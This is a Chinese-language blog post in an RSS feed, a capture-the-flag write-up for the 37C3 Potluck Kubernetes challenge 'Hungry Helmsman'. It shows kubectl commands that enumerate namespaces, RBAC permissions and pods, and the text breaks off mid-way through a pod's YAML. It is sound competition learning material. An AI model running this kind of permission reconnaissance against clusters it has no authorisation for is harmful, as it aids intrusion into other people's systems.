<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>在酒吧喝牛奶的牛仔</title>
    <link>https://wechat2rss.xlab.app/feed/79406746c885004942b4fb232aff112a23579018.xml</link>
    <description>Just a regular guy who lives a normal life&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (在酒吧喝牛奶的牛仔)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM5LEpic3bvNOQCxibiaic8p72dOCkyRYTic3rWCkfap27YL30g/0</url>
      <title>在酒吧喝牛奶的牛仔</title>
      <link>https://wechat2rss.xlab.app/feed/79406746c885004942b4fb232aff112a23579018.xml</link>
    </image>
    <item>
      <title>37C3 Potluck CTF Hungry Helmsman writeup</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMjMxOTI2MA==&amp;mid=2247483773&amp;idx=1&amp;sn=78239179c19bb4b74b647f06b43bcf6c</link>
      <description>37C3 Potluck CTF Hungry Helmsman writeup</description>
      <content:encoded><![CDATA[<p>
原创 <span>Like0x &amp;amp; Christa</span> <span>2024-01-01 19:03</span> <span style="display: inline-block;">北京</span>
</p>

<p>37C3 Potluck CTF Hungry Helmsman writeup</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e9fd5337&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1OyozcSJjmBF8Gn5prYFRLGEmNKqeoWyou6Ps1TE5QQpWrEDhR2xR4R904ibNoPibGDYrbGXDMhbCEyEsRWC6rZA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align:left;border-top:solid #E9E7E7 1.0pt;border-left:solid #E9E7E7 1.0pt;border-bottom:solid #E9E7E7 1.0pt;border-right:solid #E9E7E7 1.0pt;mso-padding-alt:8.0pt 8.0pt 8.0pt 8.0pt;padding:8.0pt 8.0pt 8.0pt 8.0pt;background:#F6F5F5;"><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">Welcome, chefs of the Kubernetes kitchen</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#9A6E3A;">!</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> The hungry Helmsman is on the lookout </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">for</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> a unique feast, and his palate is </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#DD4A68;">set</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> on flags. Embark on the </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;Hungry Helmsman&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> challenge, where Kubernetes prowess meets culinary finesse. Craft the ultimate deployment to reveal the flag</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#9A6E3A;">!</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/>

          <br/>Author:          <br/>p4ck3t0, diff-fusion          <br/>

          <br/>REMOTE INFO:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#DD4A68;">          <br/>nc</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> challenge10.play.potluckctf.com </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">8888</span><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><p style="text-align:left;"><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;">本题难度并不是很高，如果你对相关概念比较了解的情况下很快就能做出来。</span><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;">在 professor 的指导下边学习边思考的过程也是比较有意思的。</span><br/></p><p style="margin-top:0.0pt;margin-bottom:10.0pt;line-height:0%;border-bottom:solid #E7E7E7 1.0pt;mso-padding-alt:0.0pt 0.0pt 1.0pt 0.0pt;padding:0.0pt 0.0pt 1.0pt 0.0pt;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <o:p> </o:p></span></p><h2><strong><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-variant: normal;text-transform: none;font-size: 24px;">环境信息</span></strong>  </h2><p style="text-align:left;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">我们先瞅瞅有什么 ns，然后记录一下方便后面查看资源的时候复制粘贴。很明显 </span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#558EDA;background:#F6F1F3;">flag-reciever</span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> 和</span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#558EDA;background:#F6F1F3;">flag-sender</span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> 是我们比较关注的。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">➤ kubectl --kubeconfig kubeconfig <span class="code-snippet__keyword">get</span> ns</span></code><code><span class="code-snippet_outer">NAME              STATUS   AGE</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">default</span>           Active   <span class="code-snippet__number">3</span>m19s</span></code><code><span class="code-snippet_outer">flag-reciever     Active   <span class="code-snippet__number">3</span>m15s</span></code><code><span class="code-snippet_outer">flag-sender       Active   <span class="code-snippet__number">3</span>m15s</span></code><code><span class="code-snippet_outer">kube-node-lease   Active   <span class="code-snippet__number">3</span>m19s</span></code><code><span class="code-snippet_outer">kube-<span class="code-snippet__keyword">public</span>       Active   <span class="code-snippet__number">3</span>m19s</span></code><code><span class="code-snippet_outer">kube-system       Active   <span class="code-snippet__number">3</span>m19s</span></code></pre></section><p style="text-align:left;"><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;">先简单看看 RBAC，default 下面没啥特别的权限，就不贴全了。</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">➤ <span class="code-snippet__selector-tag">kubectl</span> <span class="code-snippet__selector-tag">--kubeconfig</span> <span class="code-snippet__selector-tag">kubeconfig</span> <span class="code-snippet__selector-tag">auth</span> <span class="code-snippet__selector-tag">can-i</span> <span class="code-snippet__selector-tag">--list</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">Resources</span>                                       <span class="code-snippet__selector-tag">Non-Resource</span> <span class="code-snippet__selector-tag">URLs</span>                      <span class="code-snippet__selector-tag">Resource</span> <span class="code-snippet__selector-tag">Names</span>   <span class="code-snippet__selector-tag">Verbs</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">selfsubjectreviews</span><span class="code-snippet__selector-class">.authentication</span><span class="code-snippet__selector-class">.k8s</span><span class="code-snippet__selector-class">.io</span>        <span class="code-snippet__selector-attr">[]</span>                                     <span class="code-snippet__selector-attr">[]</span>               <span class="code-snippet__selector-attr">[create]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">selfsubjectaccessreviews</span><span class="code-snippet__selector-class">.authorization</span><span class="code-snippet__selector-class">.k8s</span><span class="code-snippet__selector-class">.io</span>   <span class="code-snippet__selector-attr">[]</span>                                     <span class="code-snippet__selector-attr">[]</span>               <span class="code-snippet__selector-attr">[create]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">selfsubjectrulesreviews</span><span class="code-snippet__selector-class">.authorization</span><span class="code-snippet__selector-class">.k8s</span><span class="code-snippet__selector-class">.io</span>    <span class="code-snippet__selector-attr">[]</span>                                     <span class="code-snippet__selector-attr">[]</span>               <span class="code-snippet__selector-attr">[create]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">bindings</span>                                        <span class="code-snippet__selector-attr">[]</span>                                     </span></code><code><span class="code-snippet_outer">....</span></code></pre></section><p style="text-align:left;"><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">主要的权限在 </span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;color: rgb(85, 142, 218);background: rgb(246, 241, 243);">flag-reciever</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;"> ns 下面，sender 也是没啥权限。</span><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">➤ <span class="code-snippet__selector-tag">kubectl</span> <span class="code-snippet__selector-tag">--kubeconfig</span> <span class="code-snippet__selector-tag">kubeconfig</span> <span class="code-snippet__selector-tag">auth</span> <span class="code-snippet__selector-tag">can-i</span> <span class="code-snippet__selector-tag">--list</span> <span class="code-snippet__selector-tag">-n</span> <span class="code-snippet__selector-tag">flag-reciever</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">Resources</span>                                       <span class="code-snippet__selector-tag">Non-Resource</span> <span class="code-snippet__selector-tag">URLs</span>                      <span class="code-snippet__selector-tag">Resource</span> <span class="code-snippet__selector-tag">Names</span>   <span class="code-snippet__selector-tag">Verbs</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">pods</span>.*                                          <span class="code-snippet__selector-attr">[]</span>                                     <span class="code-snippet__selector-attr">[]</span>               <span class="code-snippet__selector-attr">[create delete]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">services</span>.*                                      <span class="code-snippet__selector-attr">[]</span>                                     <span class="code-snippet__selector-attr">[]</span>               <span class="code-snippet__selector-attr">[create delete]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">selfsubjectreviews</span><span class="code-snippet__selector-class">.authentication</span><span class="code-snippet__selector-class">.k8s</span><span class="code-snippet__selector-class">.io</span>        <span class="code-snippet__selector-attr">[]</span>                                     <span class="code-snippet__selector-attr">[]</span>               <span class="code-snippet__selector-attr">[create]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">selfsubjectaccessreviews</span><span class="code-snippet__selector-class">.authorization</span><span class="code-snippet__selector-class">.k8s</span><span class="code-snippet__selector-class">.io</span>   <span class="code-snippet__selector-attr">[]</span>                                     <span class="code-snippet__selector-attr">[]</span>               <span class="code-snippet__selector-attr">[create]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">selfsubjectrulesreviews</span><span class="code-snippet__selector-class">.authorization</span><span class="code-snippet__selector-class">.k8s</span><span class="code-snippet__selector-class">.io</span>    <span class="code-snippet__selector-attr">[]</span>                                     <span class="code-snippet__selector-attr">[]</span>               <span class="code-snippet__selector-attr">[create]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">bindings</span>                                        <span class="code-snippet__selector-attr">[]</span>                                     <span class="code-snippet__selector-attr">[]</span>               <span class="code-snippet__selector-attr">[get list watch]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">configmaps</span>                                      <span class="code-snippet__selector-attr">[]</span>                                     <span class="code-snippet__selector-attr">[]</span>               <span class="code-snippet__selector-attr">[get list watch]</span></span></code><code><span class="code-snippet_outer">......</span></code></pre></section><p style="text-align:left;"><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;">我们主要到多了两个比较重要的权限。</span><br/></p><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 150%;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Microsoft YaHei UI;mso-fareast-font-family: &#39;Microsoft YaHei UI&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l1 level1 lfo2;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">● <span style="font:7.0pt Times New Roman;"></span></span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">pods.*<span style="mso-spacerun:yes;">  </span>[create delete]</span></p><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 150%;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Microsoft YaHei UI;mso-fareast-font-family: &#39;Microsoft YaHei UI&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l1 level1 lfo2;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">● <span style="font:7.0pt Times New Roman;"></span></span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">services.* [create delete]</span></p><p style="text-align:left;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">有一个显眼的pod </span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#558EDA;background:#F6F1F3;">flag-sender-676776d678-gvqdz</span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> 。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">➤ kubectl --kubeconfig kubeconfig get pods -A</span></code><code><span class="code-snippet_outer">NAMESPACE     NAME                                                                                READY   STATUS    RESTARTS   AGE</span></code><code><span class="code-snippet_outer">flag-sender   flag-sender-<span class="code-snippet__number">676776</span>d678-gvqdz                                                        <span class="code-snippet__number">1</span>/<span class="code-snippet__number">1</span>     Running   <span class="code-snippet__number">0</span>          <span class="code-snippet__number">6</span>m43s</span></code><code><span class="code-snippet_outer">kube-<span class="code-snippet__keyword">system</span>   calico-kube-controllers-<span class="code-snippet__number">7</span>ddc4f45bc-n78vl                                            <span class="code-snippet__number">1</span>/<span class="code-snippet__number">1</span>     Running   <span class="code-snippet__number">0</span>          <span class="code-snippet__number">6</span>m43s</span></code><code><span class="code-snippet_outer">kube-<span class="code-snippet__keyword">system</span>   calico-node-fw7mb                                                                   <span class="code-snippet__number">1</span>/<span class="code-snippet__number">1</span>     Running   <span class="code-snippet__number">0</span>          <span class="code-snippet__number">6</span>m36s</span></code><code><span class="code-snippet_outer">kube-<span class="code-snippet__keyword">system</span>   calico-node-tzbxq                                                                   <span class="code-snippet__number">1</span>/<span class="code-snippet__number">1</span>     Running   <span class="code-snippet__number">0</span>          <span class="code-snippet__number">6</span>m43s</span></code><code><span class="code-snippet_outer">kube-<span class="code-snippet__keyword">system</span>   coredns-<span class="code-snippet__number">5</span>dd5756b68-dx9c7                                                            <span class="code-snippet__number">1</span>/<span class="code-snippet__number">1</span>     Running   <span class="code-snippet__number">0</span>          <span class="code-snippet__number">6</span>m43s</span></code><code><span class="code-snippet_outer">kube-<span class="code-snippet__keyword">system</span>   coredns-<span class="code-snippet__number">5</span>dd5756b68-kn6kj                                                            <span class="code-snippet__number">1</span>/<span class="code-snippet__number">1</span>     Running   <span class="code-snippet__number">0</span>          <span class="code-snippet__number">6</span>m43s</span></code><code><span class="code-snippet_outer">kube-<span class="code-snippet__keyword">system</span>   etcd-flux-cluster-<span class="code-snippet__number">7555</span>ba3d6a2a4a0bad267e0b9c33c8c2-lhbwj-s6v2f                      <span class="code-snippet__number">1</span>/<span class="code-snippet__number">1</span>     Running   <span class="code-snippet__number">0</span>          <span class="code-snippet__number">6</span>m50s</span></code><code><span class="code-snippet_outer">kube-<span class="code-snippet__keyword">system</span>   kube-apiserver-flux-cluster-<span class="code-snippet__number">7555</span>ba3d6a2a4a0bad267e0b9c33c8c2-lhbwj-s6v2f            <span class="code-snippet__number">1</span>/<span class="code-snippet__number">1</span>     Running   <span class="code-snippet__number">0</span>          <span class="code-snippet__number">6</span>m50s</span></code><code><span class="code-snippet_outer">kube-<span class="code-snippet__keyword">system</span>   kube-controller-manager-flux-cluster-<span class="code-snippet__number">7555</span>ba3d6a2a4a0bad267e0b9c33c8c2-lhbwj-s6v2f   <span class="code-snippet__number">1</span>/<span class="code-snippet__number">1</span>     Running   <span class="code-snippet__number">0</span>          <span class="code-snippet__number">6</span>m50s</span></code><code><span class="code-snippet_outer">kube-<span class="code-snippet__keyword">system</span>   kube-proxy-<span class="code-snippet__number">4</span>pzbm                                                                    <span class="code-snippet__number">1</span>/<span class="code-snippet__number">1</span>     Running   <span class="code-snippet__number">0</span>          <span class="code-snippet__number">6</span>m36s</span></code><code><span class="code-snippet_outer">kube-<span class="code-snippet__keyword">system</span>   kube-proxy-zzn52                                                                    <span class="code-snippet__number">1</span>/<span class="code-snippet__number">1</span>     Running   <span class="code-snippet__number">0</span>          <span class="code-snippet__number">6</span>m43s</span></code><code><span class="code-snippet_outer">kube-<span class="code-snippet__keyword">system</span>   kube-scheduler-flux-cluster-<span class="code-snippet__number">7555</span>ba3d6a2a4a0bad267e0b9c33c8c2-lhbwj-s6v2f            <span class="code-snippet__number">1</span>/<span class="code-snippet__number">1</span>     Running   <span class="code-snippet__number">0</span>          <span class="code-snippet__number">6</span>m50s</span></code></pre></section><p style="text-align:left;"><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;">仔细看一下</span></p><p style="text-align:left;border-top:solid #E9E7E7 1.0pt;border-left:solid #E9E7E7 1.0pt;border-bottom:solid #E9E7E7 1.0pt;border-right:solid #E9E7E7 1.0pt;mso-padding-alt:8.0pt 8.0pt 8.0pt 8.0pt;padding:8.0pt 8.0pt 8.0pt 8.0pt;background:#F6F5F5;"><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"><span style="color: rgb(51, 51, 51);font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;background-color: rgb(250, 250, 250);">➤</span> kubectl </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">--</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">kubeconfig kubeconfig </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">n flag</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">sender get pod flag</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">sender</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">676776d678</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">gvqdz </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">o yaml          <br/></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">          <br/>apiVersion</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> v1</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">          <br/>kind</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> Pod</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">          <br/>metadata</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">annotations</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">cni.projectcalico.org/containerID</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> b2b1974a943dfd0543fb0324afe2f68636c816fba86ae3231c01f6ff8c57f825          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">cni.projectcalico.org/podIP</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> 192.168.11.129/32          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">cni.projectcalico.org/podIPs</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> 192.168.11.129/32          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">creationTimestamp</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;2023-12-<span style="color: rgb(102, 153, 0);font-family: Consolas;letter-spacing: 0.578px;text-align: left;text-wrap: wrap;background-color: rgb(246, 245, 245);">30</span>T04:39:44Z&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">generateName</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> flag</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">sender</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">676776d678</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">labels</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei 